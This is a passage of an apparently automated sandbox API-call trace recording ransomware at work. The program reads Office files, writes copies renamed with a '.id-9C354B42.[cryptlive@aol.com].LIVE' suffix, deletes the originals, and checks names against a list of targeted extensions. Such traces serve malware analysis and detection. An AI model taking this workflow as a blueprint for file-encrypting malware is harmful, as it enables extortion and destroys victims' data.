lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.083] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0161.083] SetEndOfFile (hFile=0x384) returned 1 [0161.084] CloseHandle (hObject=0x384) returned 1 [0161.084] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.084] SetEndOfFile (hFile=0x3c4) returned 1 [0161.086] CloseHandle (hObject=0x3c4) returned 1 [0161.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg")) returned 1 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString=".doc") returned 4 [0161.088] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString=".docx") returned 5 [0161.088] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0161.088] lstrlenW (lpString=".pdf") returned 4 [0161.088] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString=".xls") returned 4 [0161.088] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString=".xlsx") returned 5 [0161.088] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0161.088] lstrlenW (lpString=".ppt") returned 4 [0161.088] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString=".zip") returned 4 [0161.088] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString=".rar") returned 4 [0161.088] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString=".bz2") returned 4 [0161.088] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.088] lstrlenW (lpString=".7z") returned 3 [0161.088] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString=".dbf") returned 4 [0161.088] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString=".1cd") returned 4 [0161.088] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString=".jpg") returned 4 [0161.088] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.088] lstrlenW (lpString=".doc") returned 4 [0161.089] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.089] lstrlenW (lpString=".docx") returned 5 [0161.089] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0161.089] lstrlenW (lpString=".pdf") returned 4 [0161.089] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.089] lstrlenW (lpString=".xls") returned 4 [0161.089] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.089] lstrlenW (lpString=".xlsx") returned 5 [0161.089] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0161.089] lstrlenW (lpString=".ppt") returned 4 [0161.089] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.089] lstrlenW (lpString=".zip") returned 4 [0161.089] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.089] lstrlenW (lpString=".rar") returned 4 [0161.089] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.089] lstrlenW (lpString=".bz2") returned 4 [0161.089] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.089] lstrlenW (lpString=".7z") returned 3 [0161.089] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.089] lstrlenW (lpString=".dbf") returned 4 [0161.089] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.089] lstrlenW (lpString=".1cd") returned 4 [0161.089] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0161.089] lstrlenW (lpString=".jpg") returned 4 [0161.089] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.089] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.089] lstrlenW (lpString="SIGNL.ICO") returned 9 [0161.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.090] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0161.090] CloseHandle (hObject=0x3c4) returned 1 [0161.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico")) returned 0x20 [0161.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.091] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.091] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.092] GetLastError () returned 0x0 [0161.092] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0161.094] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0161.095] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.095] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0161.095] SetEndOfFile (hFile=0x384) returned 1 [0161.095] CloseHandle (hObject=0x384) returned 1 [0161.095] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.095] SetEndOfFile (hFile=0x3c4) returned 1 [0161.098] CloseHandle (hObject=0x3c4) returned 1 [0161.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico")) returned 1 [0161.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.099] lstrlenW (lpString=".doc") returned 4 [0161.099] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.099] lstrlenW (lpString=".docx") returned 5 [0161.099] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.099] lstrlenW (lpString=".pdf") returned 4 [0161.099] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.099] lstrlenW (lpString=".xls") returned 4 [0161.099] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.099] lstrlenW (lpString=".xlsx") returned 5 [0161.099] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.099] lstrlenW (lpString=".ppt") returned 4 [0161.099] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.099] lstrlenW (lpString=".zip") returned 4 [0161.099] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.099] lstrlenW (lpString=".rar") returned 4 [0161.099] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.099] lstrlenW (lpString=".bz2") returned 4 [0161.099] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.099] lstrlenW (lpString=".7z") returned 3 [0161.099] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.100] lstrlenW (lpString=".dbf") returned 4 [0161.100] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.100] lstrlenW (lpString=".1cd") returned 4 [0161.100] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.100] lstrlenW (lpString=".jpg") returned 4 [0161.100] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.100] lstrlenW (lpString=".doc") returned 4 [0161.100] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.100] lstrlenW (lpString=".docx") returned 5 [0161.100] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.100] lstrlenW (lpString=".pdf") returned 4 [0161.100] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.100] lstrlenW (lpString=".xls") returned 4 [0161.100] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.100] lstrlenW (lpString=".xlsx") returned 5 [0161.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.100] lstrlenW (lpString=".ppt") returned 4 [0161.100] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.100] lstrlenW (lpString=".zip") returned 4 [0161.100] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.100] lstrlenW (lpString=".rar") returned 4 [0161.100] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.100] lstrlenW (lpString=".bz2") returned 4 [0161.100] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.100] lstrlenW (lpString=".7z") returned 3 [0161.100] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.100] lstrlenW (lpString=".dbf") returned 4 [0161.100] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.101] lstrlenW (lpString=".1cd") returned 4 [0161.101] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO") returned 63 [0161.101] lstrlenW (lpString=".jpg") returned 4 [0161.101] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.101] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.101] lstrlenW (lpString="SIGNS.ICO") returned 9 [0161.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.101] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2998) returned 1 [0161.102] CloseHandle (hObject=0x3c4) returned 1 [0161.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico")) returned 0x20 [0161.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.102] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.102] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.103] GetLastError () returned 0x0 [0161.103] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0161.352] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0161.353] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.354] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0161.354] SetEndOfFile (hFile=0x384) returned 1 [0161.354] CloseHandle (hObject=0x384) returned 1 [0161.354] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.354] SetEndOfFile (hFile=0x3c4) returned 1 [0161.359] CloseHandle (hObject=0x3c4) returned 1 [0161.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico")) returned 1 [0161.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.393] lstrlenW (lpString=".doc") returned 4 [0161.393] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.393] lstrlenW (lpString=".docx") returned 5 [0161.393] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.393] lstrlenW (lpString=".pdf") returned 4 [0161.393] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.393] lstrlenW (lpString=".xls") returned 4 [0161.393] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.394] lstrlenW (lpString=".xlsx") returned 5 [0161.394] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.394] lstrlenW (lpString=".ppt") returned 4 [0161.394] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.394] lstrlenW (lpString=".zip") returned 4 [0161.394] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.394] lstrlenW (lpString=".rar") returned 4 [0161.394] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.394] lstrlenW (lpString=".bz2") returned 4 [0161.394] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.394] lstrlenW (lpString=".7z") returned 3 [0161.394] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.394] lstrlenW (lpString=".dbf") returned 4 [0161.394] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.394] lstrlenW (lpString=".1cd") returned 4 [0161.394] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.394] lstrlenW (lpString=".jpg") returned 4 [0161.394] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.394] lstrlenW (lpString=".doc") returned 4 [0161.394] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.394] lstrlenW (lpString=".docx") returned 5 [0161.394] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.394] lstrlenW (lpString=".pdf") returned 4 [0161.394] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.395] lstrlenW (lpString=".xls") returned 4 [0161.395] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.395] lstrlenW (lpString=".xlsx") returned 5 [0161.395] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.395] lstrlenW (lpString=".ppt") returned 4 [0161.395] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.395] lstrlenW (lpString=".zip") returned 4 [0161.395] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.395] lstrlenW (lpString=".rar") returned 4 [0161.395] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.395] lstrlenW (lpString=".bz2") returned 4 [0161.395] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.395] lstrlenW (lpString=".7z") returned 3 [0161.395] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.395] lstrlenW (lpString=".dbf") returned 4 [0161.395] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.395] lstrlenW (lpString=".1cd") returned 4 [0161.395] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0161.395] lstrlenW (lpString=".jpg") returned 4 [0161.395] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.395] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.395] lstrlenW (lpString="SMSL.ICO") returned 8 [0161.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.396] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10134) returned 1 [0161.397] CloseHandle (hObject=0x1e0) returned 1 [0161.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico")) returned 0x20 [0161.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.439] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.439] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0161.440] GetLastError () returned 0x0 [0161.440] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x2796, lpOverlapped=0x0) returned 1 [0161.458] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x27a0, lpOverlapped=0x0) returned 1 [0161.459] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.460] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0161.460] SetEndOfFile (hFile=0x3a0) returned 1 [0161.460] CloseHandle (hObject=0x3a0) returned 1 [0161.460] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.460] SetEndOfFile (hFile=0x1dc) returned 1 [0161.463] CloseHandle (hObject=0x1dc) returned 1 [0161.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 